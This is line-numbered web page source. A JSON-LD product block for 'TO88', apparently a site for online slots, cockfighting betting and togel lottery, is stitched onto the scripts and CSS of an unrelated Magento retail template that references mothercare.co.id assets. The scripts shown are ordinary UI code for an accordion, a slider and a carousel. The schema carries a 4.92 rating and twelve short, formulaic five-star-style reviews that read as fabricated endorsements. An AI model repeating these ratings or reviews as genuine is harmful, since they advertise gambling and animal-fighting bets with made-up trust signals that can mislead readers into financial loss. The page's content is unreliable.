12854<script type="application/ld+json"> 12855 { 12856 "@context": "https://schema.org", 12857 "@type": "Product", 12858 "@id": "https://www.entretiendecheveuxafro.com/blog/#To88", 12859 "url": "https://www.entretiendecheveuxafro.com/blog/", 12860 "name": "TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi", 12861 "description": "TO88 adalah blog komunitas untuk pencinta game online, menawarkan tips, trik, dan informasi terkini seputar dunia permainan. Bergabunglah dengan kami untuk meningkatkan keterampilan bermain Anda dan terhubung dengan gamer lainnya!", 12862 "category": "Slot Gacor, Sabung Ayam dan Togel Online", 12863 "brand": { 12864 "@type": "Brand", 12865 "name": "To88" 12866 }, 12867 "aggregateRating": { 12868 "@type": "AggregateRating", 12869 "ratingValue": 4.92, 12870 "bestRating": 5, 12871 "worstRating": 1, 12872 "ratingCount": 12, 12873 "reviewCount": 12 12874 }, 12875 "review": [{ 12876 "@type": "Review", 12877 "datePublished": "2026-04-10", 12878 "author": { 12879 "@type": "Person", 12880 "name": "Bagas T." 12881 }, 12882 "reviewRating": { 12883 "@type": "Rating", 12884 "ratingValue": 5, 12885 "bestRating": 5, 12886 "worstRating": 1 12887 }, 12888 "reviewBody": "Nonton siaran langsung sabung ayam di To88 tidak pernah patah-patah. Kualitas gambarnya HD, sangat jernih, dan benar-benar real-time." 12889 }, { 12890 "@type": "Review", 12891 "datePublished": "2026-04-12", 12892 "author": { 12893 "@type": "Person", 12894 "name": "Anton W." 12895 }, 12896 "reviewRating": { 12897 "@type": "Rating", 12898 "ratingValue": 5, 12899 "bestRating": 5, 12900 "worstRating": 1 12901 }, 12902 "reviewBody": "Pengisian saldo dan penarikan dana diproses cepat banget tanpa ribet. Kecepatan sistem finansial To88 sangat memuaskan dan tepat waktu." 12903 }, { 12904 "@type": "Review", 12905 "datePublished": "2026-04-15", 12906 "author": { 12907 "@type": "Person", 12908 "name": "Heri S." 12909 }, 12910 "reviewRating": { 12911 "@type": "Rating", 12912 "ratingValue": 4, 12913 "bestRating": 5, 12914 "worstRating": 1 12915 }, 12916 "reviewBody": "Sangat praktis bisa memantau arena kapan saja sesuai waktu luang. Tampilan websitenya simpel dan gampang diakses dari HP Android." 12917 }, { 12918 "@type": "Review", 12919 "datePublished": "2026-04-20", 12920 "author": { 12921 "@type": "Person", 12922 "name": "Wahyu K." 12923 }, 12924 "reviewRating": { 12925 "@type": "Rating", 12926 "ratingValue": 5, 12927 "bestRating": 5, 12928 "worstRating": 1 12929 }, 12930 "reviewBody": "Tim CS selalu siaga 24 jam nonstop. Waktu tanya-tanya seputar navigasi fitur arena, penjelasannya cepat, ramah, dan solutif." 12931 }, { 12932 "@type": "Review", 12933 "datePublished": "2026-04-25", 12934 "author": { 12935 "@type": "Person", 12936 "name": "Yudi A." 12937 }, 12938 "reviewRating": { 12939 "@type": "Rating", 12940 "ratingValue": 5, 12941 "bestRating": 5, 12942 "worstRating": 1 12943 },
12944 "reviewBody": "Privasi terjaga dengan baik dan koneksi sistemnya sangat stabil. Menikmati hiburan laga ayam digital di To88 rasanya aman dan tenang." 12945 }, { 12946 "@type": "Review", 12947 "datePublished": "2026-03-23", 12948 "author": { 12949 "@type": "Person", 12950 "name": "Doni" 12951 }, 12952 "reviewRating": { 12953 "@type": "Rating", 12954 "ratingValue": 5, 12955 "bestRating": 5, 12956 "worstRating": 1 12957 }, 12958 "reviewBody": "Yang bikin yakin di To88 ya rasanya terjamin. Mulai dari reputasi terpercaya, slot lengkap, sampai kelancaran main. Peluangnya lebih terbuka dan bikin tenang." 12959 }, { 12960 "@type": "Review", 12961 "datePublished": "2026-03-29", 12962 "author": { 12963 "@type": "Person", 12964 "name": "Maya" 12965 }, 12966 "reviewRating": { 12967 "@type": "Rating", 12968 "ratingValue": 5, 12969 "bestRating": 5, 12970 "worstRating": 1 12971 }, 12972 "reviewBody": "To88 berhasil membangun rasa percaya sejak awal." 12973 }, { 12974 "@type": "Review", 12975 "datePublished": "2026-04-06", 12976 "author": { 12977 "@type": "Person", 12978 "name": "Rizky" 12979 }, 12980 "reviewRating": { 12981 "@type": "Rating", 12982 "ratingValue": 5, 12983 "bestRating": 5, 12984 "worstRating": 1 12985 }, 12986 "reviewBody": "Yang paling saya suka dari To88 adalah kelengkapannya." 12987 }, { 12988 "@type": "Review", 12989 "datePublished": "2026-04-05", 12990 "author": { 12991 "@type": "Person", 12992 "name": "Fitri" 12993 }, 12994 "reviewRating": { 12995 "@type": "Rating", 12996 "ratingValue": 5, 12997 "bestRating": 5, 12998 "worstRating": 1 12999 }, 13000 "reviewBody": "Bermain di To88 memberikan pengalaman yang berbeda." 13001 }, { 13002 "@type": "Review", 13003 "datePublished": "2026-01-31", 13004 "author": { 13005 "@type": "Person", 13006 "name": "Hendra" 13007 }, 13008 "reviewRating": { 13009 "@type": "Rating", 13010 "ratingValue": 5, 13011 "bestRating": 5, 13012 "worstRating": 1 13013 }, 13014 "reviewBody": "Saya merekomendasikan To88 karena konsistensinya." 13015 }, { 13016 "@type": "Review", 13017 "datePublished": "2026-03-18", 13018 "author": { 13019 "@type": "Person", 13020 "name": "Ayu" 13021 }, 13022 "reviewRating": { 13023 "@type": "Rating", 13024 "ratingValue": 5, 13025 "bestRating": 5, 13026 "worstRating": 1 13027 }, 13028 "reviewBody": "To88 cocok buat yang mencari jaminan kenyamanan." 13029 }, { 13030 "@type": "Review", 13031 "datePublished": "2026-04-01", 13032 "author": { 13033 "@type": "Person", 13034 "name": "Eko" 13035 }, 13036 "reviewRating": { 13037 "@type": "Rating", 13038 "ratingValue": 5, 13039 "bestRating": 5, 13040 "worstRating": 1 13041 }, 13042 "reviewBody": "Setelah beberapa lama aktif, saya semakin percaya dengan To88." 13043 }] 13044 } 13045 </script>
13045 13046
13046<script> 13047 document.addEventListener("DOMContentLoaded", function() { 13048 // FAQ Accordion 13049 const faqItems = document.querySelectorAll(".bt-faq-item"); 13050 faqItems.forEach((item) => { 13051 const btn = item.querySelector(".bt-faq-question"); 13052 const answer = item.querySelector(".bt-faq-answer"); 13053 if (item.classList.contains("active")) { 13054 answer.style.maxHeight = answer.scrollHeight + "px"; 13055 } 13056 btn.addEventListener("click", () => { 13057 const isActive = item.classList.contains("active"); 13058 faqItems.forEach((el) => { 13059 el.classList.remove("active"); 13060 el.querySelector(".bt-faq-answer").style.maxHeight = null; 13061 }); 13062 if (!isActive) { 13063 item.classList.add("active"); 13064 answer.style.maxHeight = answer.scrollHeight + "px"; 13065 } 13066 }); 13067 }); 13068 // Review Slider 13069 const cards = document.querySelectorAll(".bt-review-card"); 13070 const dotsWrap = document.querySelector(".bt-dots"); 13071 const prevBtn = document.querySelector(".bt-nav-btn.prev"); 13072 const nextBtn = document.querySelector(".bt-nav-btn.next"); 13073 let current = 0; 13074 let autoSlide; 13075 13076 function createDots() { 13077 cards.forEach((_, index) => { 13078 const dot = document.createElement("button"); 13079 dot.className = "bt-dot" + (index === 0 ? " active" : ""); 13080 dot.setAttribute("type", "button"); 13081 dot.setAttribute("aria-label", "Go to review " + (index + 1)); 13082 dot.addEventListener("click", () => { 13083 current = index; 13084 showSlide(current); 13085 restartAutoSlide(); 13086 }); 13087 dotsWrap.appendChild(dot); 13088 }); 13089 } 13090 13091 function showSlide(index) { 13092 cards.forEach((card, i) => { 13093 card.classList.toggle("active", i === index); 13094 }); 13095 const dots = document.querySelectorAll(".bt-dot"); 13096 dots.forEach((dot, i) => { 13097 dot.classList.toggle("active", i === index); 13098 }); 13099 } 13100 13101 function nextSlide() { 13102 current = (current + 1) % cards.length; 13103 showSlide(current); 13104 } 13105 13106 function prevSlide() { 13107 current = (current - 1 + cards.length) % cards.length; 13108 showSlide(current); 13109 } 13110 13111 function startAutoSlide() { 13112 autoSlide = setInterval(nextSlide, 4000); 13113 } 13114 13115 function restartAutoSlide() { 13116 clearInterval(autoSlide); 13117 startAutoSlide(); 13118 } 13119 nextBtn.addEventListener("click", () => { 13120 nextSlide(); 13121 restartAutoSlide(); 13122 }); 13123 prevBtn.addEventListener("click", () => { 13124 prevSlide(); 13125 restartAutoSlide(); 13126 }); 13127 createDots(); 13128 showSlide(current); 13129 startAutoSlide(); 13130 }); 13131 </script>
13131 13132 <div class="block widget widget-recent" data-bind=" 13133 scope: 'catalog.product.viewed', 13134 css: options.additionalClasses, 13135 visible: visible 13136"><!-- ko template: { if: visible, name: 'recent-products' } --><!-- /ko --></div> 13137
13137<script id="recent-products" type="text/x-magento-template"> <div class="block-title"> 13138 <strong role="heading" aria-level="2" data-bind="text: options.title"></strong> 13139 </div> 13140 <div class="block-content"> 13141 <div class="recent" data-content-type="slider" 13142 data-mage-init='{"Magento_PageBuilder/js/content-type/slider/appearance/default/widget":{"arrows": true, "dots": false}}' 13143 data-bind="css: 'products-' + options.displayMode"> 13144 <ol class="slick-list product-items" data-bind="foreach: items"> 13145 <li class="product-item"> 13146 <div class="product-item-info"> 13147 <a class="product-item-photo" data-bind=" 13148 attr: { href: url, title: name }, 13149 template: { name: 'productImage', data: $parent.getImageData($data) } 13150 "></a> 13151 13152 <div class="product-item-details"> 13153 <strong class="product-item-name"> 13154 <a data-bind="attr: { href: url }" class="product-item-link"> 13155 <span data-bind="html: name"></span> 13156 </a> 13157 </strong> 13158 13159 <div class="carousel-price-box"> 13160 <!-- ko if:$parent.getRegularPriceHtml($data) --> 13161 <div class="price-box crossed" data-bind="html: $parent.getRegularPriceHtml($data)"></div> 13162 <div class="price-box percent" data-bind="html: $parent.getDiscountPercentage($data)"></div> 13163 <!-- /ko --> 13164 <div class="price-box main" data-bind="html: $parent.getPriceHtml($data)"></div> 13165 </div> 13166 13167 <div class="product-item-actions"> 13168 13169 </div> 13170 13171 <div class="product-item-description"> 13172 <div data-bind="html: $parent.getAdditionalContent($data, $element)"></div> 13173 13174 </div> 13175 </div> 13176 </div> 13177 </li> 13178 </ol> 13179 </div> 13180 </div> 13181</script>
13181 13182
13182<script type="text/x-magento-init" data-breeze-processed="true"> { 13183 "*": { 13184 "amInitLabelUi": {"scope":"website","productsLifetime":1000} } 13185 } 13186</script>
13186 13187 </div> 13188 <!--
13188<script type="text/javascript"> 13189 require(['jquery', 'jquery/ui', 'slick'], function($) { 13190 $(document).ready(function() { 13191 if ($('body').hasClass('checkout-cart-index')) { 13192 $(".widget.widget-crosssell .product-items").slick({ 13193 dots: false, 13194 arrows: true, // Show arrows for larger screens 13195 infinite: false, 13196 slidesToShow: 4, 13197 slidesToScroll: 1, 13198 responsive: [ 13199 { 13200 breakpoint: 1024, 13201 settings: { 13202 slidesToShow: 3, 13203 slidesToScroll: 1, 13204 } 13205 }, 13206 { 13207 breakpoint: 600, 13208 settings: { 13209 slidesToShow: 3, 13210 slidesToScroll: 1 13211 } 13212 }, 13213 { 13214 breakpoint: 480, 13215 settings: { 13216 slidesToShow: 2.5, 13217 slidesToScroll: 1, 13218 arrows: false 13219 } 13220 }, 13221 { 13222 breakpoint: 430, 13223 settings: { 13224 slidesToShow: 2.5, 13225 slidesToScroll: 1, 13226 arrows: false 13227 } 13228 }, 13229 { 13230 breakpoint: 390, 13231 settings: { 13232 slidesToShow: 2.5, 13233 slidesToScroll: 1, 13234 arrows: false // Hide arrows for mobile sizes 13235 } 13236 }, 13237 { 13238 breakpoint: 375, 13239 settings: { 13240 slidesToShow: 2.5, 13241 slidesToScroll: 1, 13242 arrows: false // Hide arrows for mobile sizes 13243 } 13244 } 13245 ] 13246 }); 13247 } 13248 }); 13249 }); 13250</script>
13250 --> 13251 <style type="text/css"> 13252 .widget.widget-upsell, 13253 .widget.widget-related { 13254 padding-bottom: 40px; 13255 padding-top: 40px; 13256 margin-top: 0 !important 13257 } 13258 13259 .widget.widget-upsell .block-title, 13260 .widget.widget-related .block-title { 13261 margin: 0 !important; 13262 padding: 0 0 40px !important 13263 } 13264 13265 .widget.widget-upsell .block-title:before, 13266 .widget.widget-related .block-title:before { 13267 display: none !important 13268 } 13269 13270 .widget.widget-upsell .block-title strong, 13271 .widget.widget-related .block-title strong { 13272 display: block; 13273 font-family: 'mothercare_2020-regular-webfont'; 13274 font-style: normal; 13275 font-weight: 400; 13276 font-size: 32px; 13277 color: #ffffff; 13278 margin: 0 !important; 13279 text-align: center; 13280 text-transform: lowercase 13281 } 13282 13283 @media screen and (max-width: 767px) { 13284 13285 .widget.widget-upsell .block-title strong, 13286 .widget.widget-related .block-title strong { 13287 font-size: 18px 13288 } 13289 } 13290 13291 .widget.widget-upsell .upsell.products-grid, 13292 .widget.widget-related .upsell.products-grid, 13293 .widget.widget-upsell .related.products-grid, 13294 .widget.widget-related .related.products-grid { 13295 overflow: inherit; 13296 padding-left: 50px; 13297 padding-right: 50px 13298 } 13299 13300 @media screen and (max-width: 767px) { 13301 13302 .widget.widget-upsell .upsell.products-grid, 13303 .widget.widget-related .upsell.products-grid, 13304 .widget.widget-upsell .related.products-grid, 13305 .widget.widget-related .related.products-grid { 13306 padding: 0 13307 } 13308 } 13309 13310 .widget.widget-upsell .upsell.products-grid.slick-initialized>.product-items, 13311 .widget.widget-related .upsell.products-grid.slick-initialized>.product-items, 13312 .widget.widget-upsell .related.products-grid.slick-initialized>.product-items, 13313 .widget.widget-related .related.products-grid.slick-initialized>.product-items { 13314 gap: 0; 13315 padding: 0; 13316 margin: 0 -25px; 13317 width: auto 13318 } 13319 13320 @media screen and (max-width: 767px) { 13321 13322 .widget.widget-upsell .upsell.products-grid.slick-initialized>.product-items, 13323 .widget.widget-related .upsell.products-grid.slick-initialized>.product-items, 13324 .widget.widget-upsell .related.products-grid.slick-initialized>.product-items, 13325 .widget.widget-related .related.products-grid.slick-initialized>.product-items { 13326 margin: 0 -15px 13327 } 13328 } 13329 13330 .widget.widget-upsell .upsell.products-grid .product-item, 13331 .widget.widget-related .upsell.products-grid .product-item, 13332 .widget.widget-upsell .related.products-grid .product-item, 13333 .widget.widget-related .related.products-grid .product-item { 13334 width: calc(100%/4 - 50px); 13335 max-width: 100%; 13336 margin: 0 25px 13337 } 13338 13339 @media screen and (max-width: 767px) { 13340 13341 .widget.widget-upsell .upsell.products-grid .product-item, 13342 .widget.widget-related .upsell.products-grid .product-item, 13343 .widget.widget-upsell .related.products-grid .product-item, 13344 .widget.widget-related .related.products-grid .product-item { 13345 margin: 0 15px; 13346 width: calc(100%/2 - 30px) 13347 } 13348 } 13349 13350 .widget.widget-upsell .upsell.products-grid .product-item-photo, 13351 .widget.widget-related .upsell.products-grid .product-item-photo, 13352 .widget.widget-upsell .related.products-grid .product-item-photo, 13353 .widget.widget-related .related.products-grid .product-item-photo { 13354 display: flex; 13355 justify-content: center; 13356 height: 100%; 13357 border-radius: 5px width:100%; 13358 } 13359 13360 .widget.widget-upsell .upsell.products-grid .product-item-photo .product-image-container, 13361 .widget.widget-related .upsell.products-grid .product-item-photo .product-image-container, 13362 .widget.widget-upsell .related.products-grid .product-item-photo .product-image-container, 13363 .widget.widget-related .related.products-grid .product-item-photo .product-image-container { 13364 width: 100% !important 13365 } 13366 13367 .widget.widget-upsell .upsell.products-grid .product-item-photo .product-image-container img, 13368 .widget.widget-related .upsell.products-grid .product-item-photo .product-image-container img, 13369 .widget.widget-upsell .related.products-grid .product-item-photo .product-image-container img, 13370 .widget.widget-related .related.products-grid .product-item-photo .product-image-container img { 13371 height: 100%; 13372 object-fit: contain 13373 } 13374 13375 .widget.widget-upsell .upsell.products-grid .product-item-info, 13376 .widget.widget-related .upsell.products-grid .product-item-info, 13377 .widget.widget-upsell .related.products-grid .product-item-info, 13378 .widget.widget-related .related.products-grid .product-item-info { 13379 gap: 15px 13380 } 13381 13382 .widget.widget-upsell .product-items .product-item .item-img-box { 13383 position: relative; 13384 display: flex; 13385 justify-content: center; 13386 border: 1px solid #f4f1f1; 13387 align-items: center; 13388 height: 327px; 13389 } 13390 13391 .widget.widget-upsell .upsell.products-grid .product-item-details, 13392 .widget.widget-related .upsell.products-grid .product-item-details, 13393 .widget.widget-upsell .related.products-grid .product-item-details, 13394 .widget.widget-related .related.products-grid .product-item-details { 13395 flex-direction: column; 13396 text-align: center 13397 } 13398 13399 .widget.widget-upsell .upsell.products-grid .product-item-details .product-item-name, 13400 .widget.widget-related .upsell.products-grid .product-item-details .product-item-name, 13401 .widget.widget-upsell .related.products-grid .product-item-details .product-item-name, 13402 .widget.widget-related .related.products-grid .product-item-details .product-item-name { 13403 max-width: 100%; 13404 /* height: 34px;*/ 13405 margin: 0 0 20px; 13406 margin-bottom: 0px !important; 13407 } 13408 13409 .widget.widget-upsell .upsell.products-grid .product-item-details .product-item-name .product-item-link, 13410 .widget.widget-related .upsell.products-grid .product-item-details .product-item-name .product-item-link, 13411 .widget.widget-upsell .related.products-grid .product-item-details .product-item-name .product-item-link, 13412 .widget.widget-related .related.products-grid .product-item-details .product-item-name .product-item-link { 13413 font-style: normal; 13414 font-weight: 700; 13415 font-size: 12px; 13416 line-height: 150%; 13417 text-align: center; 13418 letter-spacing: -.011em; 13419 color: #ffffff; 13420 font-family: 'mothercare_2020-regular-webfont'; 13421 display: block 13422 } 13423 13424 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box, 13425 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box, 13426 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box, 13427 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box { 13428 flex-grow: 1; 13429 align-items: flex-end; 13430 display: flex 13431 } 13432 13433 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box, 13434 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box, 13435 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box, 13436 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box { 13437 font-family: Arial, Helvetica, sans-serif; 13438 display: block; 13439 text-align: center; 13440 flex-flow: wrap; 13441 max-width: 100%; 13442 width: 100%; 13443 margin: 0; 13444 justify-content: center 13445 } 13446 13447 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .crossed-price, 13448 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .crossed-price, 13449 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .crossed-price, 13450 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .crossed-price, 13451 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .old-price, 13452 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .old-price, 13453 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .old-price, 13454 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .old-price { 13455 margin: 0 5px; 13456 text-decoration-color: #ffffff; 13457 width: 100%; 13458 text-align: center 13459 } 13460 13461 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .crossed-price .price-container .price, 13462 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .crossed-price .price-container .price, 13463 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .crossed-price .price-container .price, 13464 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .crossed-price .price-container .price, 13465 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .old-price .price-container .price, 13466 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .old-price .price-container .price, 13467 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .old-price .price-container .price, 13468 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .old-price .price-container .price { 13469 font-style: normal; 13470 font-weight: 700; 13471 font-size: 12px; 13472 line-height: 120%; 13473 color: #ffffff 13474 } 13475 13476 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 13477 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 13478 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .discount-percent, 13479 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .discount-percent { 13480 order: 3; 13481 background: #f24822; 13482 font-style: normal; 13483 font-weight: 400; 13484 font-size: 12px; 13485 line-height: 24px; 13486 letter-spacing: -.011em; 13487 color: #fff; 13488 padding: 0 4px; 13489 font-family: 'Arial' !important; 13490 margin-left: 5px; 13491 } 13492 13493 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 13494 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 13495 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 13496 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .special-price .price-container .price, 13497 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 13498 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 13499 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 13500 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box .price-with-discount .normal-price .price-container .price, 13501 .widget.widget-upsell .upsell.products-grid .product-item-details .price { 13502 font-style: normal; 13503 font-weight: 700; 13504 font-size: 16px; 13505 line-height: 150%; 13506 letter-spacing: -.011em; 13507 color: #1e1e1e; 13508 } 13509 13510 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box>.price, 13511 .widget.widget-related .upsell.products-grid .product-item-details .carousel-price-box .price-box>.price, 13512 .widget.widget-upsell .related.products-grid .product-item-details .carousel-price-box .price-box>.price, 13513 .widget.widget-related .related.products-grid .product-item-details .carousel-price-box .price-box>.price { 13514 font-style: normal; 13515 font-weight: 700; 13516 font-size: 14px; 13517 line-height: 120%; 13518 color: #7d1616; 13519 font-family: Arial, Helvetica, sans-serif 13520 } 13521 13522 .widget.widget-upsell .upsell.products-grid .product-item-details .check, 13523 .widget.widget-related .upsell.products-grid .product-item-details .check, 13524 .widget.widget-upsell .related.products-grid .product-item-details .check, 13525 .widget.widget-related .related.products-grid .product-item-details .check { 13526 margin-top: 16px 13527 } 13528 13529 .widget.widget-upsell .upsell.products-grid .product-item-details .check span, 13530 .widget.widget-related .upsell.products-grid .product-item-details .check span, 13531 .widget.widget-upsell .related.products-grid .product-item-details .check span, 13532 .widget.widget-related .related.products-grid .product-item-details .check span { 13533 font-style: normal; 13534 font-weight: 700; 13535 font-size: 10px; 13536 letter-spacing: -.011em; 13537
13537 color: #1d1d1d; 13538 } 13539 13540 .widget.widget-upsell .upsell.products-grid .slick-arrow, 13541 .widget.widget-related .upsell.products-grid .slick-arrow, 13542 .widget.widget-upsell .related.products-grid .slick-arrow, 13543 .widget.widget-related .related.products-grid .slick-arrow { 13544 width: 40px; 13545 height: 40px; 13546 border: none; 13547 background-position: center; 13548 background-repeat: no-repeat 13549 } 13550 13551 @media screen and (max-width: 767px) { 13552 13553 .widget.widget-upsell .upsell.products-grid .slick-arrow, 13554 .widget.widget-related .upsell.products-grid .slick-arrow, 13555 .widget.widget-upsell .related.products-grid .slick-arrow, 13556 .widget.widget-related .related.products-grid .slick-arrow { 13557 display: none !important 13558 } 13559 } 13560 13561 .widget.widget-upsell .upsell.products-grid .slick-arrow.slick-prev, 13562 .widget.widget-related .upsell.products-grid .slick-arrow.slick-prev, 13563 .widget.widget-upsell .related.products-grid .slick-arrow.slick-prev, 13564 .widget.widget-related .related.products-grid .slick-arrow.slick-prev { 13565 background-image: url(https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gray-prev-arrow.svg); 13566 } 13567 13568 .widget.widget-upsell .upsell.products-grid .slick-arrow.slick-next, 13569 .widget.widget-related .upsell.products-grid .slick-arrow.slick-next, 13570 .widget.widget-upsell .related.products-grid .slick-arrow.slick-next, 13571 .widget.widget-related .related.products-grid .slick-arrow.slick-next { 13572 background-image: url(https://www.mothercare.co.id/static/version1741963345/frontend/Codilar/mothercare/id_ID/images/gray-next-arrow.svg); 13573 } 13574 13575 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box { 13576 display: flex; 13577 flex-flow: row wrap; 13578 justify-content: center; 13579 align-content: flex-end 13580 } 13581 13582 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box.crossed { 13583 width: 100% 13584 } 13585 13586 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box.crossed .old-price { 13587 text-decoration: unset 13588 } 13589 13590 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box.crossed .old-price .price { 13591 font-style: normal; 13592 font-weight: 700; 13593 font-size: 12px; 13594 line-height: 120%; 13595 color: #ffffff; 13596 text-decoration: line-through 13597 } 13598 13599 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box.percent { 13600 width: auto; 13601 order: 3 13602 } 13603 13604 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box.percent .discount-percent { 13605 padding: 2px 4px 13606 } 13607 13608 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box.main { 13609 margin-top: 4px; 13610 width: auto 13611 } 13612 13613 .page-product-configurable #maincontent .column.main .product-info-wrapper .product-info-price .price-box.price-final_price .price-with-discount span.normal-price span.price { 13614 font-family: 'Arial'; 13615 font-style: normal; 13616 font-weight: 700; 13617 font-size: 24px; 13618 letter-spacing: -.011em; 13619 color: #ffbb00; 13620 } 13621 13622 .widget.widget-upsell .upsell.products-grid .product-item-details .carousel-price-box .price-box.main .price { 13623 font-size: 14px; 13624 font-weight: 700; 13625 color: #1e1e1e 13626 } 13627 13628 .widget.widget-crosssell, 13629 .widget.widget-related { 13630 padding-bottom: 40px; 13631 padding-top: 40px; 13632 margin-top: 0 !important 13633 } 13634 13635 .widget.widget-crosssell .block-title, 13636 .widget.widget-related .block-title { 13637 margin: 0 !important; 13638 padding: 0 0 40px !important 13639 } 13640 13641 .widget.widget-crosssell .block-title:before, 13642 .widget.widget-related .block-title:before { 13643 display: none !important 13644 } 13645 13646 .widget.widget-crosssell .block-title strong, 13647 .widget.widget-related .block-title strong { 13648 display: block; 13649 font-family: 'mothercare_2020-regular-webfont'; 13650 font-style: normal; 13651 font-weight: 400; 13652 font-size: 32px; 13653 color: #ffffff; 13654 margin: 0 !important; 13655 text-align: center; 13656 text-transform: lowercase 13657 } 13658 13659 @media screen and (max-width: 767px) { 13660 13661 .widget.widget-crosssell .block-title strong, 13662 .widget.widget-related .block-title strong { 13663 font-size: 18px 13664 } 13665 } 13666 13667 .widget.widget-crosssell .crosssell.products-grid, 13668 .widget.widget-related .crosssell.products-grid, 13669 .widget.widget-crosssell .related.products-grid, 13670 .widget.widget-related .related.products-grid { 13671 overflow: inherit; 13672 padding-left: 50px; 13673 padding-right: 50px 13674 } 13675 13676 @media screen and (max-width: 767px) { 13677 13678 .widget.widget-crosssell .crosssell.products-grid, 13679 .widget.widget-related .crosssell.products-grid, 13680 .widget.widget-crosssell .related.products-grid, 13681 .widget.widget-related .related.products-grid { 13682 padding: 0 13683 } 13684 } 13685 13686 .widget.widget-crosssell .crosssell.products-grid.slick-initialized>.product-items, 13687 .widget.widget-related .crosssell.products-grid.slick-initialized>.product-items, 13688 .widget.widget-crosssell .related.products-grid.slick-initialized>.product-items, 13689 .widget.widget-related .related.products-grid.slick-initialized>.product-items { 13690 gap: 0; 13691 padding: 0; 13692 margin: 0 -25px; 13693 width: auto 13694 } 13695 13696 @media screen and (max-width: 767px) { 13697 13698 .widget.widget-crosssell .crosssell.products-grid.slick-initialized>.product-items, 13699 .widget.widget-related .crosssell.products-grid.slick-initialized>.product-items, 13700 .widget.widget-crosssell .related.products-grid.slick-initialized>.product-items, 13701 .widget.widget-related .related.products-grid.slick-initialized>.product-items { 13702 margin: 0 -15px 13703 } 13704 } 13705 13706 .widget.widget-crosssell .crosssell.products-grid .product-item, 13707 .widget.widget-related .crosssell.products-grid .product-item, 13708 .widget.widget-crosssell .related.products-grid .product-item, 13709 .widget.widget-related .related.products-grid .product-item { 13710 width: calc(100%/4 - 50px); 13711 max-width: 100%; 13712 margin: 0 25px 13713 } 13714 13715 @media screen and (max-width: 767px) { 13716 13717 .widget.widget-crosssell .crosssell.products-grid .product-item, 13718 .widget.widget-related .crosssell.products-grid .product-item, 13719 .widget.widget-crosssell .related.products-grid .product-item, 13720 .widget.widget-related .related.products-grid .product-item { 13721 margin: 0 8px; 13722 width: calc(100%/2 - 30px) 13723 } 13724 } 13725 13726 .widget.widget-crosssell .crosssell.products-grid .product-item-photo, 13727 .widget.widget-related .crosssell.products-grid .product-item-photo, 13728 .widget.widget-crosssell .related.products-grid .product-item-photo, 13729 .widget.widget-related .related.products-grid .product-item-photo { 13730 display: flex; 13731 justify-content: center; 13732 height: auto; 13733 border-radius: 5px width:100%; 13734 } 13735 13736 .widget.widget-crosssell .crosssell.products-grid .product-item-photo .product-image-container, 13737 .widget.widget-related .crosssell.products-grid .product-item-photo .product-image-container, 13738 .widget.widget-crosssell .related.products-grid .product-item-photo .product-image-container, 13739 .widget.widget-related .related.products-grid .product-item-photo .product-image-container { 13740 width: 100% !important 13741 } 13742 13743 .widget.widget-crosssell .crosssell.products-grid .product-item-photo .product-image-container img, 13744 .widget.widget-related .crosssell.products-grid .product-item-photo .product-image-container img, 13745 .widget.widget-crosssell .related.products-grid .product-item-photo .product-image-container img, 13746 .widget.widget-related .related.products-grid .product-item-photo .product-image-container img { 13747 height: 100%; 13748 object-fit: cover; 13749 } 13750 13751 .widget.widget-crosssell 